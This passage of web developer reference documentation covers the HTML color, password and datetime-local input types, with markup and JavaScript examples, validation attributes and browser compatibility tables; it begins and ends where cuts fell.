-------------- | Specification | | --- | | [HTML Standard # month-state-(type=month)](https://html.spec.whatwg.org/multipage/input.html#month-state-(type=month)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `month` | 20 | 12 | No See [bug 888320](https://bugzil.la/888320). | No | 11 | No The input type is recognized, but there is no month-specific control. See [bug 200416](https://webkit.org/b/200416). | Yes | Yes | 18 | Yes | Yes | Yes | See also -------- * The generic [`<input>`](../input) element and the interface used to manipulate it, [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) * [Date and time formats used in HTML](../../date_and_time_formats) * [Date and Time picker tutorial](https://developer.mozilla.org/en-US/docs/Learn/Forms/Basic_native_form_controls#date_and_time_picker) * [`<input type="datetime-local">`](datetime-local), [`<input type="date">`](date), [`<input type="time">`](time), and [`<input type="week">`](week) * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls)
programming_docs
html <input type="color"> <input type="color"> ==================== [`<input>`](../input) elements of type `color` provide a user interface element that lets a user specify a color, either by using a visual color picker interface or by entering the color into a text field in `#rrggbb` hexadecimal format. Only simple colors (without alpha channel) are allowed though CSS colors has more formats, e.g. color names, functional notations and a hexadecimal format with an alpha channel. The element's presentation may vary substantially from one browser and/or platform to another—it might be a simple textual input that automatically validates to ensure that the color information is entered in the proper format, or a platform-standard color picker, or some kind of custom color picker window. Try it ------ Value ----- The [`value`](../input#attr-value) of an [`<input>`](../input) element of type `color` is always a string which contains a 7-character string specifying an RGB color in hexadecimal format. While you can input the color in either upper- or lower-case, it will be stored in lower-case form. The value is never in any other form, and is never empty. **Note:** Setting the value to anything that isn't a valid, fully-opaque, RGB color *in hexadecimal notation* will result in the value being set to `#000000`. In particular, you can't use CSS's standardized color names, or any CSS function syntax, to set the value. This makes sense when you keep in mind that HTML and CSS are separate languages and specifications. In addition, colors with an alpha channel are not supported; specifying a color in 9-character hexadecimal notation (e.g. `#009900aa`) will also result in the color being set to `#000000`. Using color inputs ------------------ Inputs of type `color` are simple, due to the limited number of attributes they support. ### Providing a default color You can update the simple example above to set a default value, so that the color well is pre-filled with the default color and the color picker (if any) will also default to that color: ``` <input type="color" value="#ff0000" /> ``` If you don't specify a value, the default is `#000000`, which is black. The value must be in seven-character hexadecimal notation, meaning the "#" character followed by two digits each representing red, green, and blue, like this: `#rrggbb`. If you have colors that are in any other format (such as CSS color names or CSS color functions such as `rgb()` or `rgba()`), you'll have to convert them to hexadecimal before setting the `value`. ### Tracking color changes As is the case with other [`<input>`](../input) types, there are two events that can be used to detect changes to the color value: [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) and [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event). `input` is fired on the `<input>` element every time the color changes. The `change` event is fired when the user dismisses the color picker. In both cases, you can determine the new value of the element by looking at its [`value`](../input#attr-value). Here's an example that watches changes over time to the color value: ``` colorPicker.addEventListener("input", updateFirst, false); colorPicker.addEventListener("change", watchColorPicker, false); function watchColorPicker(event) { document.querySelectorAll("p").forEach((p) => { p.style.color = event.target.value; }); } ``` ### Selecting the value When a browser doesn't support a color picker interface, its implementation of color inputs will be a text box that validates the contents automatically to ensure that the value is in the correct format. In this case you can use the [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select) method to select the text currently in the edit field. If the browser instead uses a color well, `select()` does nothing. You should be aware of this behavior so your code can respond appropriately in either case. ``` colorWell.select(); ``` Validation ---------- A color input's value is considered to be invalid if the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) is unable to convert the user's input into seven-character lower-case hexadecimal notation. If and when this is the case, the [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) pseudo-class is applied to the element. Example ------- Let's create an example which does a little more with the color input by tracking the [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) events to take the new color and apply it to every [`<p>`](../p) element in the document. ### HTML The HTML is fairly straightforward — a couple of paragraphs of descriptive material with an [`<input>`](../input) of type `color` with the ID `colorWell`, which we'll use to change the color of the paragraphs' text. ``` <p> An example demonstrating the use of the <code>&lt;input type="color"&gt;</code> control. </p> <label for="colorWell">Color:</label> <input type="color" value="#ff0000" id="colorWell" /> <p> Watch the paragraph colors change when you adjust the color picker. As you make changes in the color picker, the first paragraph's color changes, as a preview (this uses the <code>input</code> event). When you close the color picker, the <code>change</code> event fires, and we detect that to change every paragraph to the selected color. </p> ``` ### JavaScript First, there's some setup. Here we establish some variables, setting up a variable that contains the color we'll set the color well to when we first load up, and then setting up a [`load`](https://developer.mozilla.org/en-US/docs/Web/API/Window/load_event) handler to do the main startup work once the page is fully loaded. ``` let colorWell; const defaultColor = "#0000ff"; window.addEventListener("load", startup, false); ``` #### Initialization Once the page is loaded, our `load` event handler, `startup()`, is called: ``` function startup() { colorWell = document.querySelector("#colorWell"); colorWell.value = defaultColor; colorWell.addEventListener("input", updateFirst, false); colorWell.addEventListener("change", updateAll, false); colorWell.select(); } ``` This gets a reference to the color `<input>` element in a variable called `colorWell`, then sets the color input's value to the value in `defaultColor`. Then the color input's [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) event is set up to call our `updateFirst()` function, and the [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) event is set to call `updateAll()`. These are both seen below. Finally, we call [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select) to select the text content of the color input if the control is implemented as a text field (this has no effect if a color picker interface is provided instead). #### Reacting to color changes We provide two functions that deal with color changes. The `updateFirst()` function is called in response to the `input` event. It changes the color of the first paragraph element in the document to match the new value of the color input. Since `input` events are fired every time an adjustment is made to the value (for example, if the brightness of the color is increased), these will happen repeatedly as the color picker is used. ``` function updateFirst(event) { const p = document.querySelector("p"); if (p) { p.style.color = event.target.value; } } ``` When the color picker is dismissed, indicating that the value will not be changing again (unless the user re-opens the color picker), a `change` event is sent to the element. We handle that event using the `updateAll()` function, using [`Event.target.value`](../input#attr-value) to obtain the final selected color: ``` function updateAll(event) { document.querySelectorAll("p").forEach((p) => { p.style.color = event.target.value; }); } ``` This sets the color of every [`<p>`](../p) block so that its [`color`](https://developer.mozilla.org/en-US/docs/Web/CSS/color) attribute matches the current value of the color input, which is referred to using [`event.target`](https://developer.mozilla.org/en-US/docs/Web/API/Event/target). ### Result The final result looks like this: Technical Summary ----------------- | | | | --- | --- | | **[Value](#value)** | A 7-character string specifying a [`<color>`](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value) in lower-case hexadecimal notation | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported common attributes** | [`autocomplete`](../input#attr-autocomplete) and [`list`](../input#attr-list) | | **IDL attributes** | `list` and `value` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select) | Specifications -------------- | Specification | | --- | | [HTML Standard # color-state-(type=color)](https://html.spec.whatwg.org/multipage/input.html#color-state-(type=color)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `color` | 20 | 14 | 29 | No | 12 | 12.1 | 4.4 | 25 | 27 Firefox for Android doesn't allow the user to choose a custom color, only one of the predefined ones. | 12 | 12.2 | 1.5 | | `autocomplete` | 20 | 14 | No See [bug 960989](https://bugzil.la/960989) for the status of support for the `autocomplete` attribute in Firefox. | No | No | No | No | No | No See [bug 960984](https://bugzil.la/960984) for the status of support for the `list` attribute in Firefox. | No | No | No | | `list` | 20 | 14 | No See [bug 960984](https://bugzil.la/960984) for the status of support for the `list` attribute in Firefox. | No | No | 12.1 | No | No | No See [bug 960984](https://bugzil.la/960984) for the status of support for the `list` attribute in Firefox. | No | 12.2 | No | See also -------- * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls) html <input type="password"> <input type="password"> ======================= `<input>` elements of type `password` provide a way for the user to securely enter a password. The element is presented as a one-line plain text editor control in which the text is obscured so that it cannot be read, usually by replacing each character with a symbol such as the asterisk ("\*") or a dot ("•"). This character will vary depending on the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) and operating system. Try it ------ The precise behavior of the entry process may vary from browser to browser. Some browsers display the typed character for a moment before obscuring it, while others allow the user to toggle the display of plain-text on and off. Both approaches help a user check that they entered the intended password, which can be particularly difficult on mobile devices. **Note:** Any forms involving sensitive information like passwords (such as login forms) should be served over HTTPS. Many browsers now implement mechanisms to warn against insecure login forms; see [Insecure passwords](https://developer.mozilla.org/en-US/docs/Web/Security/Insecure_passwords). Value ----- The [`value`](../input#attr-value) attribute contains a string whose value is the current contents of the text editing control being used to enter the password. If the user hasn't entered anything yet, this value is an empty string (`""`). If the [`required`](../../global_attributes#required) property is specified, then the password edit box must contain a value other than an empty string to be valid. If the [`pattern`](../input#attr-pattern) attribute is specified, the content of a `password` control is only considered valid if the value passes validation; see [Validation](#validation) for more information. **Note:** The line feed (U+000A) and carriage return (U+000D) characters are not permitted in a `password` value. When setting the value of a password control, line feed and carriage return characters are stripped out of the value. Additional attributes --------------------- In addition to the attributes that operate on all [`<input>`](../input) elements regardless of their type, password field inputs support the following attributes. ### maxlength The maximum number of characters (as UTF-16 code units) the user can enter into the password field. This must be an integer value 0 or higher. If no `maxlength` is specified, or an invalid value is specified, the password field has no maximum length. This value must also be greater than or equal to the value of `minlength`. The input will fail [constraint validation](../../constraint_validation) if the length of the text entered into the field is greater than `maxlength` UTF-16 code units long. ### minlength The minimum number of characters (as UTF-16 code units) the user can enter into the password entry field. This must be a non-negative integer value smaller than or equal to the value specified by `maxlength`. If no `minlength` is specified, or an invalid value is specified, the password input has no minimum length. The input will fail [constraint validation](../../constraint_validation) if the length of the text entered into the field is fewer than `minlength` UTF-16 code units long. ### pattern The `pattern` attribute, when specified, is a regular expression that the input's [`value`](../../global_attributes#value) must match in order for the value to pass [constraint validation](../../constraint_validation). It must be a valid JavaScript regular expression, as used by the [`RegExp`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) type, and as documented in our [guide on regular expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions); the `'u'` flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text. If the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. **Note:** Use the [`title`](../input#attr-title) attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. You should also include other explanatory text nearby. Use of a pattern is strongly recommended for password inputs, in order to help ensure that valid passwords using a wide assortment of character classes are selected and used by your users. With a pattern, you can mandate case rules, require the use of some number of digits and/or punctuation characters, and so forth. See the section [Validation](#validation) for details and an example. ### placeholder The `placeholder` attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message. The text *must not* include carriage returns or line feeds. If the control's content has one directionality ([LTR](https://developer.mozilla.org/en-US/docs/Glossary/LTR) or [RTL](https://developer.mozilla.org/en-US/docs/Glossary/RTL)) but needs to present the placeholder in the opposite directionality, you can use Unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see [How to use Unicode controls for bidi text](https://www.w3.org/International/questions/qa-bidi-unicode-controls) for more information. **Note:** Avoid using the `placeholder` attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See [Labels and placeholders](../input#labels_and_placeholders) in [<input>: The Input (Form Input) element](../input) for more information. ### readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its `value` can, however, still be changed from JavaScript code that directly sets the value of the [`HTMLInputElement.value`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) property. **Note:** Because a read-only field cannot have a value, `required` does not have any effect on inputs with the `readonly` attribute also specified. ### size The `size` attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since character widths vary, this may or may not be exact and should not be relied upon to be so; the resulting input may be narrower or wider than the specified number of characters, depending on the characters and the font ([`font`](https://developer.mozilla.org/en-US/docs/Web/CSS/font) settings in use). This does *not* set a limit on how many characters the user can enter into the field. It only specifies approximately how many can be seen at a time. To set an upper limit on the length of the input data, use the [`maxlength`](#maxlength) attribute. Using password inputs --------------------- Password input boxes generally work just like other textual input boxes; the main difference is the obscuring of the content to prevent people near the user from reading the password. ### A simple password input Here we see the most basic password input, with a label established using the [`<label>`](../label) element. ``` <label for="userPassword">Password: </label> <input id="userPassword" type="password" /> ``` ### Allowing autocomplete To allow the user's password manager to automatically enter the password, specify the [`autocomplete`](../input#attr-autocomplete) attribute. For passwords, this should typically be one of the following: `on` Allow the browser or a password manager to automatically fill out the password field. This isn't as informative as using either `current-password` or `new-password`. `off` Don't allow the browser or password manager to automatically fill out the password field. Note that some software ignores this value, since it's typically harmful to users' ability to maintain safe password practices. `current-password` Allow the browser or password manager to enter the current password for the site. This provides more information than `on` does, since it lets the browser or password manager automatically enter currently-known password for the site in the field, but not to suggest a new one. `new-password` Allow the browser or password manager to automatically enter a new password for the site; this is used on "change your password" and "new user" forms, on the field asking the user for a new password. The new password may be generated in a variety of ways, depending on the password manager in use. It may fill in a new suggested password, or it might show the user an interface for creating one. ``` <label for="userPassword">Password:</label> <input id="userPassword" type="password" autocomplete="current-password" /> ``` ### Making the password mandatory To tell the user's browser that the password field must have a valid value before the form can be submitted, specify the Boolean [`required`](../input#attr-required) attribute. ``` <label for="userPassword">Password: </label> <input id="userPassword" type="password" required /> <input type="submit" value="Submit" /> ``` ### Specifying an input mode If your recommended (or required) password syntax rules would benefit from an alternate text entry interface than the standard keyboard, you can use the [`inputmode`](../input#attr-inputmode) attribute to request a specific one. The most obvious use case for this is if the password is required to be numeric (such as a PIN). Mobile devices with virtual keyboards, for example, may opt to switch to a numeric keypad layout instead of a full keyboard, to make entering the password easier. If the PIN is for one-time use, set the [`autocomplete`](../input#attr-autocomplete) attribute to either `off` or `one-time-code` to suggest that it's not saved. ``` <label for="pin">PIN: </label> <input id="pin" type="password" inputmode="numeric" /> ``` ### Setting length requirements As usual, you can use the [`minlength`](../input#attr-minlength) and [`maxlength`](../input#attr-maxlength) attributes to establish minimum and maximum acceptable lengths for the password. This example expands on the previous one by specifying that the user's PIN must be at least four and no more than eight digits. The [`size`](../input#attr-size) attribute is used to ensure that the password entry control is eight characters wide. ``` <label for="pin">PIN:</label> <input id="pin" type="password" inputmode="numeric" minlength="4" maxlength="8" size="8" /> ``` ### Selecting text As with other textual entry controls, you can use the [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select) method to select all the text in the password field. #### HTML ``` <label for="userPassword">Password: </label> <input id="userPassword" type="password" size="12" /> <button id="selectAll">Select All</button> ``` #### JavaScript ``` document.getElementById("selectAll").onclick = () => { document.getElementById("userPassword").select(); } ``` #### Result You can also use `selectionStart` and `selectionEnd` to get (or set) what range of characters in the control are currently selected, and `selectionDirection` to know which direction selection occurred in (or will be extended in, depending on your platform; see its documentation for an explanation). However, given that the text is obscured, the usefulness of these is somewhat limited. Validation ---------- If your application has character set restrictions or any other requirement for the actual content of the entered password, you can use the [`pattern`](../input#attr-pattern) attribute to establish a regular expression to be used to automatically ensure that your passwords meet those requirements. In this example, only values consisting of at least four and no more than eight hexadecimal digits are valid. ``` <label for="hexId">Hex ID: </label> <input id="hexId" type="password" pattern="[0-9a-fA-F]{4,8}" title="Enter an ID consisting of 4-8 hexadecimal digits" autocomplete="new-password" /> ``` Examples -------- ### Requesting a Social Security number This example only accepts input which matches the format for a [valid United States Social Security Number](https://en.wikipedia.org/wiki/Social_Security_number#Structure). These numbers, used for tax and identification purposes in the US, are in the form "123-45-6789". Assorted rules for what values are permitted in each group exist as well. #### HTML ``` <label for="ssn">SSN:</label> <input type="password" id="ssn" inputmode="numeric" minlength="9" maxlength="12" pattern="(?!000)([0-6]\d{2}|7([0-6]\d|7[012]))([ -])?(?!00)\d\d\3(?!0000)\d{4}" required autocomplete="off" /> <br /> <label for="ssn">Value:</label> <span id="current"></span> ``` This uses a [`pattern`](../input#attr-pattern) which limits the entered value to strings representing legal Social Security numbers. Obviously, this regexp doesn't guarantee a valid SSN (since we don't have access to the Social Security Administration's database), but it does ensure the number could be one; it generally avoids values that cannot be valid. In addition, it allows the three groups of digits to be separated by a space, a dash ("-"), or nothing. The [`inputmode`](../input#attr-inputmode) is set to `numeric` to encourage devices with virtual keyboards to switch to a numeric keypad layout for easier entry. The [`minlength`](../input#attr-minlength) and [`maxlength`](../input#attr-maxlength) attributes are set to 9 and 12, respectively, to require that the value be at least nine and no more than 12 characters (the former without separating characters between the groups of digits and the latter with them). The [`required`](../input#attr-required) attribute is used to indicate that this control must have a value. Finally, [`autocomplete`](../input#attr-autocomplete) is set to `off` to avoid password managers and session restore features trying to set its value, since this isn't a password at all. #### JavaScript This is just some simple code to display the entered SSN onscreen so you can see it. Obviously this defeats the purpose of a password field, but it's helpful for experimenting with the `pattern`. ``` const ssn = document.getElementById("ssn"); const current = document.getElementById("current"); ssn.oninput = (event) => { current.textContent = ssn.value; } ``` #### Result Technical Summary ----------------- | | | | --- | --- | | **[Value](#value)** | A string representing a password, or empty | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported Common Attributes** | [`autocomplete`](../input#attr-autocomplete), [`inputmode`](../input#attr-inputmode), [`maxlength`](../input#attr-maxlength), [`minlength`](../input#attr-minlength), [`pattern`](../input#attr-pattern), [`placeholder`](../input#attr-placeholder), [`readonly`](../input#attr-readonly), [`required`](../input#attr-required), and [`size`](../input#attr-size) | | **IDL attributes** | `selectionStart`, `selectionEnd`, `selectionDirection`, and `value` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select), [`setRangeText()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/setRangeText), and [`setSelectionRange()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/setSelectionRange) | Specifications -------------- | Specification | | --- | | [HTML Standard # password-state-(type=password)](https://html.spec.whatwg.org/multipage/input.html#password-state-(type=password)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `password` | 1 | 12 | 1 | 2 | 2 | 1 | No | Yes | 4 | Yes | Yes | Yes | | `insecure_login_handling` | No | No | 52 | No | No | No | No | No | 52 | No | No | No | See also -------- * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls)
programming_docs
html <input type="datetime-local"> <input type="datetime-local"> ============================= [`<input>`](../input) elements of type `datetime-local` create input controls that let the user easily enter both a date and a time, including the year, month, and day as well as the time in hours and minutes. Try it ------ The control's UI varies in general from browser to browser. In browsers with no support, these degrade gracefully to simple [`<input type="text">`](text) controls. The control is intended to represent *a local date and time*, not necessarily *the user's local date and time*. In other words, an implementation should allow any valid combination of year, month, day, hour, and minute—even if such a combination is invalid in the user's local time zone (such as times within a daylight saving time spring-forward transition gap). Some mobile browsers (particularly on iOS) do not currently implement this correctly. Because of the limited browser support for `datetime-local`, and the variations in how the inputs work, it may currently still be best to use a framework or library to present these, or to use a custom input of your own. Another option is to use separate `date` and `time` inputs, each of which is more widely supported than `datetime-local`. Some browsers may resort to a text-only input element that validates that the results are legitimate date/time values before letting them be delivered to the server, as well, but you shouldn't rely on this behavior since you can't easily predict it. Value ----- A string representing the value of the date entered into the input. The format of the date and time value used by this input type is described in [Local date and time strings](../../date_and_time_formats#local_date_and_time_strings) in [Date and time formats used in HTML](../../date_and_time_formats). You can set a default value for the input by including a date and time inside the [`value`](../input#attr-value) attribute, like so: ``` <label for="party">Enter a date and time for your party booking:</label> <input id="party" type="datetime-local" name="partydate" value="2017-06-01T08:30" /> ``` One thing to note is that the displayed date and time formats differ from the actual `value`; the displayed date and time are formatted according to the user's locale as reported by their operating system, whereas the date/time `value` is always formatted `YYYY-MM-DDThh:mm`. When the above value submitted to the server, for example, it will look like `partydate=2017-06-01T08:30`. **Note:** Also bear in mind that if such data is submitted via HTTP [`GET`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/GET), the colon character will need to be escaped for inclusion in the URL parameters, e.g. `partydate=2017-06-01T08%3A30`. See [`encodeURI()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI) for one way to do this. You can also get and set the date value in JavaScript using the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) `value` property, for example: ``` const dateControl = document.querySelector('input[type="datetime-local"]'); dateControl.value = '2017-06-01T08:30'; ``` There are several methods provided by JavaScript's [`Date`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date) that can be used to convert numeric date information into a properly-formatted string. For example, the [`Date.toISOString()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toISOString) method returns the date/time in UTC with the suffix "`Z`" denoting that timezone; removing the "`Z`" would provide a value in the format expected by a `datetime-local` input. Additional attributes --------------------- In addition to the attributes common to all [`<input>`](../input) elements, datetime-local inputs offer the following attributes. ### max The latest date and time to accept. If the [`value`](../input#attr-value) entered into the element is later than this timestamp, the element fails [constraint validation](../../constraint_validation). If the value of the `max` attribute isn't a valid string which follows the format `YYYY-MM-DDThh:mm`, then the element has no maximum value. This value must specify a date string later than or equal to the one specified by the `min` attribute. ### min The earliest date and time to accept; timestamps earlier than this will cause the element to fail [constraint validation](../../constraint_validation). If the value of the `min` attribute isn't a valid string which follows the format `YYYY-MM-DDThh:mm`, then the element has no minimum value. This value must specify a date string earlier than or equal to the one specified by the `max` attribute. ### step The `step` attribute is a number that specifies the granularity that the value must adhere to, or the special value `any`, which is described below. Only values which are equal to the basis for stepping ([`min`](#min) if specified, [`value`](../input#attr-value) otherwise, and an appropriate default value if neither of those is provided) are valid. A string value of `any` means that no stepping is implied, and any value is allowed (barring other constraints, such as [`min`](#min) and [`max`](#max)). **Note:** When the data entered by the user doesn't adhere to the stepping configuration, the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options. For `datetime-local` inputs, the value of `step` is given in seconds, with a scaling factor of 1000 (since the underlying numeric value is in milliseconds). The default value of `step` is 60, indicating 60 seconds (or 1 minute, or 60,000 milliseconds). *At this time, it's unclear what a value of `any` means for `step` when used with `datetime-local` inputs. This will be updated as soon as that information is determined.* Using datetime-local inputs --------------------------- Date/time inputs sound convenient at first glance; they provide an easy UI for choosing dates and times, and they normalize the data format sent to the server, regardless of the user's locale. However, there are issues with `<input type="datetime-local">` because of the limited browser support. We'll look at basic and more complex uses of `<input type="datetime-local">`, then offer advice on mitigating the browser support issue later on (see [Handling browser support](#handling_browser_support)). ### Basic uses of datetime-local The simplest use of `<input type="datetime-local">` involves a basic `<input>` and [`<label>`](../label) element combination, as seen below: ``` <form> <label for="party">Enter a date and time for your party booking:</label> <input id="party" type="datetime-local" name="partydate" /> </form> ``` ### Setting maximum and minimum dates and times You can use the [`min`](../input#attr-min) and [`max`](../input#attr-max) attributes to restrict the dates/times that can be chosen by the user. In the following example we are setting a minimum datetime of `2017-06-01T08:30` and a maximum datetime of `2017-06-30T16:30`: ``` <form> <label for="party">Enter a date and time for your party booking:</label> <input id="party" type="datetime-local" name="partydate" min="2017-06-01T08:30" max="2017-06-30T16:30" /> </form> ``` The result here is that: * Only days in June 2017 can be selected — only the "days" part of the date value will be editable, and dates outside June can't be scrolled to in the datepicker widget. * Depending on what browser you are using, you might find that times outside the specified values might not be selectable in the time picker (e.g. Edge), or invalid (see [Validation](#validation)) but still available (e.g. Chrome). **Note:** You should be able to use the [`step`](../input#attr-step) attribute to vary the number of days jumped each time the date is incremented (e.g. maybe you only want to make Saturdays selectable). However, this does not seem to work effectively in any implementation at the time of writing. ### Controlling input size `<input type="datetime-local">` doesn't support form control sizing attributes such as [`size`](../input#attr-size). You'll have to resort to [CSS](https://developer.mozilla.org/en-US/docs/Web/CSS) for customizing the sizes of these elements. ### Setting timezones One thing the `datetime-local` input type doesn't provide is a way to set the time zone and/or locale of the date/time control. This was available in the `datetime` input type, but this type is now obsolete, having been removed from the spec. The main reasons why this was removed are a lack of implementation in browsers, and concerns over the user interface/experience. It is easier to just have a control (or controls) for setting the date/time and then deal with the locale in a separate control. For example, if you are creating a system where the user is likely to already be logged in, with their locale already set, you could provide the timezone in a [`hidden`](hidden) input type. For example: ``` <input type="hidden" id="timezone" name="timezone" value="-08:00" /> ``` On the other hand, if you were required to allow the user to enter a time zone along with a date/time input, you could have a [`<select>`](../select) element to enable the user to set the right time zone by choosing a particular location from among a set of locations: ``` <select name="timezone" id="timezone"> <option value="Pacific/Kwajalein">Eniwetok, Kwajalein</option> <option value="Pacific/Midway">Midway Island, Samoa</option> <option value="Pacific/Honolulu">Hawaii</option> <option value="Pacific/Marquesas">Taiohae</option> <!-- and so on --> </select> ``` In either case, the date/time and time zone values would be submitted to the server as separate data points, and then you'd need to store them appropriately in the database on the server-side. Validation ---------- By default, `<input type="datetime-local">` does not apply any validation to entered values. The UI implementations generally don't let you enter anything that isn't a date/time — which is helpful — but a user might still fill in no value and submit, or enter an invalid date and/or time (e.g. the 32nd of April). You can use [`min`](../input#attr-min) and [`max`](../input#attr-max) to restrict the available dates (see [Setting maximum and minimum dates](#setting_maximum_and_minimum_dates)), and you can use the [`required`](../input#attr-required) attribute to make filling in the date/time mandatory. As a result, supporting browsers will display an error if you try to submit a date that is outside the set bounds, or an empty date field. Let's look at an example; here we've set minimum and maximum date/time values, and also made the field required: ``` <form> <div> <label for="party"> Choose your preferred party date and time (required, June 1st 8.30am to June 30th 4.30pm): </label> <input id="party" type="datetime-local" name="partydate" min="2017-06-01T08:30" max="2017-06-30T16:30" required /> <span class="validity"></span> </div> <div> <input type="submit" value="Book party!" /> </div> </form> ``` If you try to submit the form with an incomplete date (or with a date outside the set bounds), the browser displays an error. Try playing with the example now: Here's the CSS used in the above example. Here we make use of the [`:valid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:valid) and [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) CSS properties to style the input based on whether the current value is valid. We had to put the icons on a [`<span>`](../span) next to the input, not on the input itself, because in Chrome the generated content is placed inside the form control, and can't be styled or shown effectively. ``` div { margin-bottom: 10px; display: flex; align-items: center; } label { display: inline-block; width: 300px; } input:invalid + span::after { content: "✖"; padding-left: 5px; } input:valid + span::after { content: "✓"; padding-left: 5px; } ``` **Warning:** HTML form validation is *not* a substitute for scripts that ensure that the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, is of the wrong type, and so forth). Handling browser support ------------------------ As mentioned above, non-supporting browsers gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling. The second problem is the most serious; as we mentioned earlier, with a `datetime-local` input, the actual value is always normalized to the format `YYYY-MM-DDThh:mm`. With a text input on the other hand, by default the browser has no recognition of what format the date should be in, and there are lots of different ways in which people write dates and times, for example: * `DDMMYYYY` * `DD/MM/YYYY` * `MM/DD/YYYY` * `DD-MM-YYYY` * `MM-DD-YYYY` * `MM-DD-YYYY hh:mm` (12 hour clock) * `MM-DD-YYYY HH:mm` (24 hour clock) * etc. One way around this is to put a [`pattern`](../input#attr-pattern) attribute on your `datetime-local` input. Even though the `datetime-local` input doesn't use it, the text input fallback will. For example, try viewing the following demo in a non-supporting browser: ``` <form> <div> <label for="party"> Choose your preferred party date and time (required, June 1st 8.30am to June 30th 4.30pm): </label> <input id="party" type="datetime-local" name="partydate" min="2017-06-01T08:30" max="2017-06-30T16:30" pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}" required /> <span class="validity"></span> </div> <div> <input type="submit" value="Book party!" /> </div> <input type="hidden" id="timezone" name="timezone" value="-08:00" /> </form> ``` If you try submitting it, you'll see that the browser now displays an error message (and highlights the input as invalid) if your entry doesn't match the pattern `nnnn-nn-nnTnn:nn`, where `n` is a number from 0 to 9. Of course, this doesn't stop people from entering invalid dates, or incorrectly formatted dates and times. And what user is going to understand the pattern they need to enter the time and date in? We still have a problem. The best way to deal with dates in forms in a cross-browser way at the moment is to get the user to enter the day, month, year, and time in separate controls ([`<select>`](../select) elements being popular — see below for an implementation), or use JavaScript libraries such as [jQuery date picker](https://jqueryui.com/datepicker/), and the [jQuery timepicker plugin](https://timepicker.co/). The Y2K38 Problem (often server-side) ------------------------------------- JavaScript uses double precision floating points to store dates, as with all numbers, meaning that JavaScript 